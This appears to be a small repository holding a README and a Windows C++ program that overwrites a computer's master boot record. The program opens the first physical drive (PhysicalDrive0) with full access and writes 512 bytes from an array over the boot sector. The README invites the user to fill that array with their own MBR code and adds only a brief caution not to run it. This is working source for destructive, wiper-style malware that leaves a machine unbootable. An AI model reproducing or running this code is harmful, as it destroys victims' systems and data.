├── README.md
└── overMBR.cpp


/README.md:
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1 | # Overwrite MBR(Master Boot Record)
2 | ## Caution! This code don't run on this computer.
3 | 
4 | line 2, You can modified MBR code in {Hexadecimal 512 bytes} 
5 | >const unsigned char MasterBootRecord[] = {};  


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/overMBR.cpp:
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 1 | #include <windows.h>
 2 | 
 3 | const unsigned char MasterBootRecord[] = {}; 
 4 | 
 5 | int CALLBACK WinMain(
 6 |     HINSTANCE hInstance, HINSTANCE hPrevInstance,
 7 |     LPSTR     lpCmdLine, int       nCmdShow
 8 | )
 9 | {
10 |     DWORD dwBytesWritten;
11 |     HANDLE hDevice = CreateFileW(
12 |         L"\\\\.\\PhysicalDrive0", GENERIC_ALL,
13 |         FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
14 |         OPEN_EXISTING, 0, 0);
15 | 
16 |     WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0);
17 |     CloseHandle(hDevice);
18 | }


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